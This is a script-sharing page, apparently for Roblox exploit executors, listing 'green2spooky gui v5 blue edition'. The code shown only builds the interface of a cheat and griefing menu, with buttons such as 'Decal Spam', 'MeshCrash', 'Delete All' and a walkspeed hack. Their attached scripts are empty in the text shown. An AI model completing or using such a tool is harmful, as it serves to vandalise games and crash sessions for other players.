green2spooky gui v5 blue edition
Key RequiredUniversal

green2spooky gui v5 blue edition

Universal ScriptTheCouldExploiterTheCouldExploiter 339 views 1.2K executesUpdated Jun 21, 2026
Unrated
00
Lua Script•18715 lines (497636 chars)
--[=[
 d888b  db    db d888888b      .d888b.      db      db    db  .d8b.  
88' Y8b 88    88   `88'        VP  `8D      88      88    88 d8' `8b 
88      88    88    88            odD'      88      88    88 88ooo88 
88  ooo 88    88    88          .88'        88      88    88 88~~~88 
88. ~8~ 88b  d88   .88.        j88.         88booo. 88b  d88 88   88    @uniquadev
 Y888P  ~Y8888P' Y888888P      888888D      Y88888P ~Y8888P' YP   YP  CONVERTER 
]=]

-- Instances: 264 | Scripts: 127 | Modules: 0 | Tags: 0
local G2L = {};

-- StarterGui.ScreenGui
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
G2L["1"]["ResetOnSpawn"] = false;


-- StarterGui.ScreenGui.IMPORTANT WOOHOO
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["BorderSizePixel"] = 2;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["Size"] = UDim2.new(0, 480, 0, 29);
G2L["2"]["Position"] = UDim2.new(0.12351, 0, 0.21063, 0);
G2L["2"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["2"]["Name"] = [[IMPORTANT WOOHOO]];


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.LocalScript
G2L["3"] = Instance.new("LocalScript", G2L["2"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.home
G2L["4"] = Instance.new("Frame", G2L["2"]);
G2L["4"]["BorderSizePixel"] = 2;
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["Size"] = UDim2.new(0, 480, 0, 298);
G2L["4"]["Position"] = UDim2.new(-0, 0, 1, 0);
G2L["4"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["4"]["Name"] = [[home]];


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.home.ImageLabel
G2L["5"] = Instance.new("ImageLabel", G2L["4"]);
G2L["5"]["BorderSizePixel"] = 2;
G2L["5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5"]["Image"] = [[rbxasset://textures/ui/GuiImagePlaceholder.png]];
G2L["5"]["Size"] = UDim2.new(0, 100, 0, 100);
G2L["5"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["5"]["Position"] = UDim2.new(0.03958, 0, 0.04027, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.home.ImageLabel.LocalScript
G2L["6"] = Instance.new("LocalScript", G2L["5"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.home.TextLabel
G2L["7"] = Instance.new("TextLabel", G2L["4"]);
G2L["7"]["TextWrapped"] = true;
G2L["7"]["TextStrokeTransparency"] = 0;
G2L["7"]["BorderSizePixel"] = 0;
G2L["7"]["TextSize"] = 14;
G2L["7"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["7"]["TextScaled"] = true;
G2L["7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7"]["BackgroundTransparency"] = 1;
G2L["7"]["Size"] = UDim2.new(0, 314, 0, 50);
G2L["7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["Text"] = [[yolo]];
G2L["7"]["Position"] = UDim2.new(0.29167, 0, 0.06376, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.home.TextLabel.LocalScript
G2L["8"] = Instance.new("LocalScript", G2L["7"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.home.TextLabel
G2L["9"] = Instance.new("TextLabel", G2L["4"]);
G2L["9"]["TextWrapped"] = true;
G2L["9"]["TextStrokeTransparency"] = 0;
G2L["9"]["BorderSizePixel"] = 0;
G2L["9"]["TextSize"] = 14;
G2L["9"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["9"]["TextScaled"] = true;
G2L["9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9"]["BackgroundTransparency"] = 1;
G2L["9"]["Size"] = UDim2.new(0, 314, 0, 50);
G2L["9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9"]["Text"] = [[yolo]];
G2L["9"]["Position"] = UDim2.new(0.29167, 0, 0.23154, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.home.TextLabel.LocalScript
G2L["a"] = Instance.new("LocalScript", G2L["9"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.home.TextLabel
G2L["b"] = Instance.new("TextLabel", G2L["4"]);
G2L["b"]["TextWrapped"] = true;
G2L["b"]["TextStrokeTransparency"] = 0;
G2L["b"]["BorderSizePixel"] = 0;
G2L["b"]["TextSize"] = 14;
G2L["b"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["b"]["TextScaled"] = true;
G2L["b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b"]["BackgroundTransparency"] = 1;
G2L["b"]["Size"] = UDim2.new(0, 314, 0, 50);
G2L["b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["Text"] = [[yolo]];
G2L["b"]["Position"] = UDim2.new(0.29167, 0, 0.39933, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.home.TextLabel.LocalScript
G2L["c"] = Instance.new("LocalScript", G2L["b"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.home.TextLabel
G2L["d"] = Instance.new("TextLabel", G2L["4"]);
G2L["d"]["TextWrapped"] = true;
G2L["d"]["TextStrokeTransparency"] = 0;
G2L["d"]["BorderSizePixel"] = 0;
G2L["d"]["TextSize"] = 14;
G2L["d"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["d"]["TextScaled"] = true;
G2L["d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d"]["BackgroundTransparency"] = 1;
G2L["d"]["Size"] = UDim2.new(0, 435, 0, 95);
G2L["d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d"]["Text"] = [[Welcome to green2spooky gui v5 blue edition]];
G2L["d"]["Position"] = UDim2.new(0.04583, 0, 0.63087, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextLabel
G2L["e"] = Instance.new("TextLabel", G2L["2"]);
G2L["e"]["TextWrapped"] = true;
G2L["e"]["TextStrokeTransparency"] = 0;
G2L["e"]["BorderSizePixel"] = 0;
G2L["e"]["TextSize"] = 14;
G2L["e"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["e"]["TextScaled"] = true;
G2L["e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e"]["BackgroundTransparency"] = 1;
G2L["e"]["Size"] = UDim2.new(0, 174, 0, 29);
G2L["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e"]["Text"] = [[g2s f3x gui blue editon v5]];
G2L["e"]["Position"] = UDim2.new(0.02009, 0, -0.03075, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton
G2L["f"] = Instance.new("TextButton", G2L["2"]);
G2L["f"]["TextWrapped"] = true;
G2L["f"]["TextStrokeTransparency"] = 0;
G2L["f"]["BorderSizePixel"] = 2;
G2L["f"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["f"]["TextSize"] = 14;
G2L["f"]["TextScaled"] = true;
G2L["f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f"]["Size"] = UDim2.new(0, 59, 0, 29);
G2L["f"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["f"]["Text"] = [[Close/Open]];
G2L["f"]["Position"] = UDim2.new(0.87617, 0, -0.03242, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.TextButton.LocalScript
G2L["10"] = Instance.new("LocalScript", G2L["f"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x
G2L["11"] = Instance.new("Frame", G2L["2"]);
G2L["11"]["Visible"] = false;
G2L["11"]["BorderSizePixel"] = 2;
G2L["11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11"]["Size"] = UDim2.new(0, 480, 0, 298);
G2L["11"]["Position"] = UDim2.new(-0.00208, 0, 1, 0);
G2L["11"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["11"]["Name"] = [[f3x]];


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["12"] = Instance.new("TextButton", G2L["11"]);
G2L["12"]["TextWrapped"] = true;
G2L["12"]["TextStrokeTransparency"] = 0;
G2L["12"]["BorderSizePixel"] = 2;
G2L["12"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["12"]["TextSize"] = 14;
G2L["12"]["TextScaled"] = true;
G2L["12"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["12"]["Size"] = UDim2.new(0, 109, 0, 39);
G2L["12"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["12"]["Text"] = [[Decal Spam]];
G2L["12"]["Position"] = UDim2.new(0.01875, 0, 0.0302, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["13"] = Instance.new("LocalScript", G2L["12"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["14"] = Instance.new("TextButton", G2L["11"]);
G2L["14"]["TextWrapped"] = true;
G2L["14"]["TextStrokeTransparency"] = 0;
G2L["14"]["BorderSizePixel"] = 2;
G2L["14"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["14"]["TextSize"] = 14;
G2L["14"]["TextScaled"] = true;
G2L["14"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["14"]["Size"] = UDim2.new(0, 53, 0, 39);
G2L["14"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["14"]["Text"] = [[Skybox]];
G2L["14"]["Position"] = UDim2.new(0.01875, 0, 0.18121, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["15"] = Instance.new("LocalScript", G2L["14"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["16"] = Instance.new("TextButton", G2L["11"]);
G2L["16"]["TextWrapped"] = true;
G2L["16"]["TextStrokeTransparency"] = 0;
G2L["16"]["BorderSizePixel"] = 2;
G2L["16"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["16"]["TextSize"] = 14;
G2L["16"]["TextScaled"] = true;
G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["16"]["Size"] = UDim2.new(0, 109, 0, 39);
G2L["16"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["16"]["Text"] = [[Trippy Skybox]];
G2L["16"]["Position"] = UDim2.new(0.01875, 0, 0.34228, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["17"] = Instance.new("LocalScript", G2L["16"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["18"] = Instance.new("TextButton", G2L["11"]);
G2L["18"]["TextWrapped"] = true;
G2L["18"]["TextStrokeTransparency"] = 0;
G2L["18"]["BorderSizePixel"] = 2;
G2L["18"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["18"]["TextSize"] = 14;
G2L["18"]["TextScaled"] = true;
G2L["18"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["18"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["18"]["Size"] = UDim2.new(0, 109, 0, 39);
G2L["18"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["18"]["Text"] = [[HD Skybox]];
G2L["18"]["Position"] = UDim2.new(0.01875, 0, 0.49664, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["19"] = Instance.new("LocalScript", G2L["18"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["1a"] = Instance.new("TextButton", G2L["11"]);
G2L["1a"]["TextWrapped"] = true;
G2L["1a"]["TextStrokeTransparency"] = 0;
G2L["1a"]["BorderSizePixel"] = 2;
G2L["1a"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["1a"]["TextSize"] = 14;
G2L["1a"]["TextScaled"] = true;
G2L["1a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1a"]["Size"] = UDim2.new(0, 109, 0, 39);
G2L["1a"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["1a"]["Text"] = [[HD Trippy Skybox]];
G2L["1a"]["Position"] = UDim2.new(0.01875, 0, 0.65101, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["1b"] = Instance.new("LocalScript", G2L["1a"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["1c"] = Instance.new("TextButton", G2L["11"]);
G2L["1c"]["TextWrapped"] = true;
G2L["1c"]["TextStrokeTransparency"] = 0;
G2L["1c"]["BorderSizePixel"] = 2;
G2L["1c"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["1c"]["TextSize"] = 14;
G2L["1c"]["TextScaled"] = true;
G2L["1c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1c"]["Size"] = UDim2.new(0, 33, 0, 39);
G2L["1c"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["1c"]["Text"] = [[Chicken Arms V2]];
G2L["1c"]["Position"] = UDim2.new(0.59583, 0, 0.21141, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["1d"] = Instance.new("LocalScript", G2L["1c"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.ImageLabel
G2L["1e"] = Instance.new("ImageLabel", G2L["11"]);
G2L["1e"]["BorderSizePixel"] = 0;
G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1e"]["Image"] = [[rbxassetid://109172666525942]];
G2L["1e"]["Size"] = UDim2.new(0, 100, 0, 100);
G2L["1e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e"]["BackgroundTransparency"] = 1;
G2L["1e"]["Position"] = UDim2.new(0.27292, 0, 0.0302, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.ImageLabel.LocalScript
G2L["1f"] = Instance.new("LocalScript", G2L["1e"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.nugget
G2L["20"] = Instance.new("TextBox", G2L["11"]);
G2L["20"]["TextStrokeTransparency"] = 0;
G2L["20"]["Name"] = [[nugget]];
G2L["20"]["BorderSizePixel"] = 2;
G2L["20"]["TextWrapped"] = true;
G2L["20"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["20"]["TextSize"] = 14;
G2L["20"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["20"]["TextScaled"] = true;
G2L["20"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["20"]["PlaceholderText"] = [[Insert Decal ID]];
G2L["20"]["Size"] = UDim2.new(0, 100, 0, 24);
G2L["20"]["Position"] = UDim2.new(0.27292, 0, 0.41611, 0);
G2L["20"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["20"]["Text"] = [[134944428887587]];


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["21"] = Instance.new("TextButton", G2L["11"]);
G2L["21"]["TextWrapped"] = true;
G2L["21"]["TextStrokeTransparency"] = 0;
G2L["21"]["BorderSizePixel"] = 2;
G2L["21"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["21"]["TextSize"] = 14;
G2L["21"]["TextScaled"] = true;
G2L["21"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["21"]["Size"] = UDim2.new(0, 75, 0, 39);
G2L["21"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["21"]["Text"] = [[HeadShake]];
G2L["21"]["Position"] = UDim2.new(0.50833, 0, 0.0302, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["22"] = Instance.new("LocalScript", G2L["21"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["23"] = Instance.new("TextButton", G2L["11"]);
G2L["23"]["TextWrapped"] = true;
G2L["23"]["TextStrokeTransparency"] = 0;
G2L["23"]["BorderSizePixel"] = 2;
G2L["23"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["23"]["TextSize"] = 14;
G2L["23"]["TextScaled"] = true;
G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["23"]["Size"] = UDim2.new(0, 36, 0, 39);
G2L["23"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["23"]["Text"] = [[Chicken Arms V1]];
G2L["23"]["Position"] = UDim2.new(0.50833, 0, 0.21141, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["24"] = Instance.new("LocalScript", G2L["23"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["25"] = Instance.new("TextButton", G2L["11"]);
G2L["25"]["TextWrapped"] = true;
G2L["25"]["TextStrokeTransparency"] = 0;
G2L["25"]["BorderSizePixel"] = 2;
G2L["25"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["25"]["TextSize"] = 14;
G2L["25"]["TextScaled"] = true;
G2L["25"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["25"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["25"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["25"]["Size"] = UDim2.new(0, 36, 0, 39);
G2L["25"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["25"]["Text"] = [[I'0rb V1]];
G2L["25"]["Position"] = UDim2.new(0.50833, 0, 0.38926, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["26"] = Instance.new("LocalScript", G2L["25"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["27"] = Instance.new("TextButton", G2L["11"]);
G2L["27"]["TextWrapped"] = true;
G2L["27"]["TextStrokeTransparency"] = 0;
G2L["27"]["BorderSizePixel"] = 2;
G2L["27"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["27"]["TextSize"] = 14;
G2L["27"]["TextScaled"] = true;
G2L["27"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["27"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["27"]["Size"] = UDim2.new(0, 75, 0, 39);
G2L["27"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["27"]["Text"] = [[Floating Pad]];
G2L["27"]["Position"] = UDim2.new(0.50833, 0, 0.57383, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["28"] = Instance.new("LocalScript", G2L["27"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["29"] = Instance.new("TextButton", G2L["11"]);
G2L["29"]["TextWrapped"] = true;
G2L["29"]["TextStrokeTransparency"] = 0;
G2L["29"]["BorderSizePixel"] = 2;
G2L["29"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["29"]["TextSize"] = 14;
G2L["29"]["TextScaled"] = true;
G2L["29"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["29"]["Size"] = UDim2.new(0, 75, 0, 39);
G2L["29"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["29"]["Text"] = [[Dominus Ghost]];
G2L["29"]["Position"] = UDim2.new(0.50833, 0, 0.75168, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["2a"] = Instance.new("LocalScript", G2L["29"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["2b"] = Instance.new("TextButton", G2L["11"]);
G2L["2b"]["TextWrapped"] = true;
G2L["2b"]["TextStrokeTransparency"] = 0;
G2L["2b"]["BorderSizePixel"] = 2;
G2L["2b"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["2b"]["TextSize"] = 14;
G2L["2b"]["TextScaled"] = true;
G2L["2b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2b"]["Size"] = UDim2.new(0, 134, 0, 39);
G2L["2b"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["2b"]["Text"] = [[Walkspeed = 50]];
G2L["2b"]["Position"] = UDim2.new(0.69375, 0, 0.0302, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["2c"] = Instance.new("LocalScript", G2L["2b"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["2d"] = Instance.new("TextButton", G2L["11"]);
G2L["2d"]["TextWrapped"] = true;
G2L["2d"]["TextStrokeTransparency"] = 0;
G2L["2d"]["BorderSizePixel"] = 2;
G2L["2d"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["2d"]["TextSize"] = 14;
G2L["2d"]["TextScaled"] = true;
G2L["2d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2d"]["Size"] = UDim2.new(0, 66, 0, 39);
G2L["2d"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["2d"]["Text"] = [[Disco Character]];
G2L["2d"]["Position"] = UDim2.new(0.69375, 0, 0.21141, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["2e"] = Instance.new("LocalScript", G2L["2d"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["2f"] = Instance.new("TextButton", G2L["11"]);
G2L["2f"]["TextWrapped"] = true;
G2L["2f"]["TextStrokeTransparency"] = 0;
G2L["2f"]["BorderSizePixel"] = 2;
G2L["2f"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["2f"]["TextSize"] = 14;
G2L["2f"]["TextScaled"] = true;
G2L["2f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f"]["Size"] = UDim2.new(0, 66, 0, 39);
G2L["2f"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["2f"]["Text"] = [[MeshCrash (dont)]];
G2L["2f"]["Position"] = UDim2.new(0.69375, 0, 0.38926, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["30"] = Instance.new("LocalScript", G2L["2f"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["31"] = Instance.new("TextButton", G2L["11"]);
G2L["31"]["TextWrapped"] = true;
G2L["31"]["TextStrokeTransparency"] = 0;
G2L["31"]["BorderSizePixel"] = 2;
G2L["31"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["31"]["TextSize"] = 14;
G2L["31"]["TextScaled"] = true;
G2L["31"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["31"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["31"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["31"]["Size"] = UDim2.new(0, 66, 0, 39);
G2L["31"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["31"]["Text"] = [[Fencing Restore]];
G2L["31"]["Position"] = UDim2.new(0.69375, 0, 0.57383, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["32"] = Instance.new("LocalScript", G2L["31"]);



-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton
G2L["33"] = Instance.new("TextButton", G2L["11"]);
G2L["33"]["TextWrapped"] = true;
G2L["33"]["TextStrokeTransparency"] = 0;
G2L["33"]["BorderSizePixel"] = 2;
G2L["33"]["TextStrokeColor3"] = Color3.fromRGB(103, 103, 103);
G2L["33"]["TextSize"] = 14;
G2L["33"]["TextScaled"] = true;
G2L["33"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["33"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["33"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["33"]["Size"] = UDim2.new(0, 134, 0, 39);
G2L["33"]["BorderColor3"] = Color3.fromRGB(86, 171, 255);
G2L["33"]["Text"] = [[Delete All]];
G2L["33"]["Position"] = UDim2.new(0.69375, 0, 0.75168, 0);


-- StarterGui.ScreenGui.IMPORTANT WOOHOO.f3x.TextButton.LocalScript
G2L["34"] = Instance.new("LocalScript", G2L["33"]);



